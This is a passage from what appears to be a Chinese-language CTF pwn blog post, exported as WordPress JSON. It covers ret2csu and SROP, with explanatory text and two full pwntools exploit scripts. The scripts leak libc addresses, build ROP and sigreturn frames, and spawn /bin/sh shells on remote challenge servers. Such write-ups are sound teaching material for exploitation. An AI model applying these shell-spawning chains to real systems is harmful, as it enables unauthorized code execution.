'linux')\n\nelf=ELF('\/home\/monke\/pwn\/uctccttf\/pwncsu\/pwn')\n\np=remote(\"182.92.65.134\",41373)\n\n#p=process('\/home\/monke\/pwn\/uctccttf\/pwncsu\/pwn')\n\nwrite_plt=elf.plt&#91;\"write\"]\n\nwrite_got=elf.got&#91;\"write\"]\n\nmain_addr=elf.sym&#91;\"main\"]\n\nvuln=0x4011c3\n\npop_rdi=0x4012f3\n\nret=0x401019\n\npop_rsi_r15=0x401411\n\ncsu_behind_gadget=0x4012E6\n\ncsu_front_gadget=0x4012D0\n\nbss=0x404050\n\ndef csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):\n\npayload = cyclic(16)\n\npayload += p64(csu_behind_gadget)\n\npayload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)\n\npayload += p64(csu_front_gadget)\n\npayload += p64(0) * 7\n\npayload += p64(main_addr)\n\np.sendlineafter('You Find Me?!!\\n',payload)\n\ndef csu1(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):\n\npayload = cyclic(16)\n\npayload += p64(csu_behind_gadget)\n\npayload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)\n\npayload += p64(csu_front_gadget)\n\npayload += p64(0) * 7\n\npayload += p64(main_addr)\n\np.sendlineafter('You Find Me?!!\\n',payload)\n\np.sendlineafter('age?\\n',b'1'*7)\n\ncsu(0,0, 1, write_got, 8, write_got, 1,vuln)\n\nwrite = u64(p.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\n\nprint(hex(write))\n\nlibc = ELF(\"\/home\/monke\/pwn\/uctccttf\/pwncsu\/libc.so.6\")\n\nlibcbase=write-libc.symbols&#91;'write']\n\nexecve=libcbase+libc.sym&#91;'execve']\n\nread=libcbase+libc.sym&#91;'read']\n\nprint(hex(read))\n\nprint(hex(elf.sym&#91;\"read\"]))\n\ncsu(0,0, 1, elf.got&#91;\"read\"], 16, bss, 0, vuln)\n\np.send(p64(execve) + b'\/bin\/sh\\x00')\n\n#csu(0,0, 1, execve, 0, 0, bss, main_addr)\n\ncsu(0,0, 1, bss, 0, 0, bss+8, vuln)\n\np.interactive()<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\" id=\"u2eab9461\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SROP\"><\/span>SROP<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53\u8fdb\u7a0bj\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528\u65f6\uff0c\u4f1a\u4fdd\u5b58\u5f53\u524d\u5bc4\u5b58\u5668\u72b6\u6001\u5230\u7528\u6237\u6808\uff08\u5f62\u6210<code>ucontext<\/code>\u7ed3\u6784\u4f53\uff09\uff0c\u7136\u540e\u8df3\u8f6c\u5230\u4fe1\u53f7\u5904\u7406\u51fd\u6570\uff0c\u6267\u884c\u5b8c\u540e\u518d\u901a\u8fc7<code>sigreturn<\/code>\u7cfb\u7edf\u8c03\u7528\u6062\u590d\u4fdd\u5b58\u7684\u4e0a\u4e0b\u6587\uff0c\u7531\u4e8e\u5bf9<code>ucontext<\/code>\u7ed3\u6784\u4f53\u6ca1\u6709\u68c0\u67e5\uff0c\u6240\u4ee5\u53ef\u4ee5\u901a\u8fc7\u4f2a\u9020<code>ucontext<\/code>\u7ed3\u6784\u4f53\u5e76\u89e6\u53d1<code>sigreturn<\/code>\u51fd\u6570(\u8c03\u7528\u53f7\u4e3a15)\u6765getshell\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f8b\u9898  \u5fa1\u7f51\u676f2024 ASM<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7a0b\u5e8f\u975e\u5e38\u7b80\u77ed\uff0c\u4e14\u6ca1\u6709pop_rdi\u7b49gadget\uff0c\u663e\u7136\u662fSROP\u9898<\/p>\n\n\n\n<div class=\"wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex\">\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/UVH6A_8E46G4EFU4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"933\" height=\"284\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/UVH6A_8E46G4EFU4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1001\"  sizes=\"auto, (max-width: 933px) 100vw, 933px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/div>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/PZGCR66AJ3_WR431KRC-1024x505.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"505\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/PZGCR66AJ3_WR431KRC-1024x505.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1002\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u4ee5\u4e0b\u4e09\u4e2agadget\u53ef\u4ee5\u63a7\u5236rax<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/6AWSZLYN16HKQBXNGI_D.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"941\" height=\"391\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/6AWSZLYN16HKQBXNGI_D.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1003\"  sizes=\"auto, (max-width: 941px) 100vw, 941px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5199exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.arch = 'amd64'\n#p=process(\"\/home\/monke\/PWN\/yuwangbei2024\/ASM\")\np= remote(\"gz.imxbt.cn\",20176)\n\n\nsyscall_ret= 0x40102D\nbinsh = 0x40200A # \u7a0b\u5e8f\u4e2d\u7ed9\u51fa\u4e86binsh\nrcx=0x401034 #mov ecx, 1 ; xor rax, rcx ; ret\nxor_rax=0x40103d #xor rax, rax ; ret\nshl_rax=0x401030 #shl rax, 1 ; ret\n\n# \u6784\u9020SROP\u5e27\nframe = SigreturnFrame()\nframe.rax = 59            # execve\u7cfb\u7edf\u8c03\u7528\u53f7\nframe.rdi = binsh         # \"\/bin\/sh\"\u5730\u5740\nframe.rsi = 0             # argv = NULL\nframe.rdx = 0             # envp = NULL\nframe.rip = syscall_ret   # \u6267\u884csyscall\n\n# \u6784\u9020payload\npayload=p64(xor_rax)+p64(rcx)+p64(shl_rax) #rax=10\npayload+=p64(rcx)+p64(shl_rax) #rax=110\npayload+=p64(rcx)+p64(shl_rax) #rax=1110\npayload+=p64(rcx) #rax=1111,\u53730xf\uff0csigreturn\u7684\u7cfb\u7edf\u8c03\u7528\u53f7\n\npayload += p64(syscall_ret)  # syscall\u89e6\u53d1sigreturn\npayload += bytes(frame)   # \u4f2a\u9020\u7684sigreturn\u5e27\n\n# \u53d1\u9001payload\n\n#gdb.attach(p)\np.send(payload)\n\np.interactive()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/R@710KAULE9Y02G.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"388\" height=\"186\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/R@710KAULE9Y02G.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1004\"  sizes=\"auto, (max-width: 388px) 100vw, 388px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>ret2text \u8986\u76d6ret\uff0c\u52ab\u6301\u7a0b\u5e8f\u6d41\u5230\u7a0b\u5e8f\u7247\u6bb5\uff08\u5982\u540e\u95e8\u51fd\u6570\uff09\u6267\u884c\u3002 ret2shellcode \u8986\u76d6ret [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17,13],"tags":[14,16,15],"class_list":["post-302","post","type-post","status-publish","format-standard","hentry","category-17","category-13","tag-pwn","tag-rop","tag-15"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/302","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=302"}],"version-history":[{"count":8,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/302\/revisions"}],"predecessor-version":[{"id":1005,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/302\/revisions\/1005"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=302"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}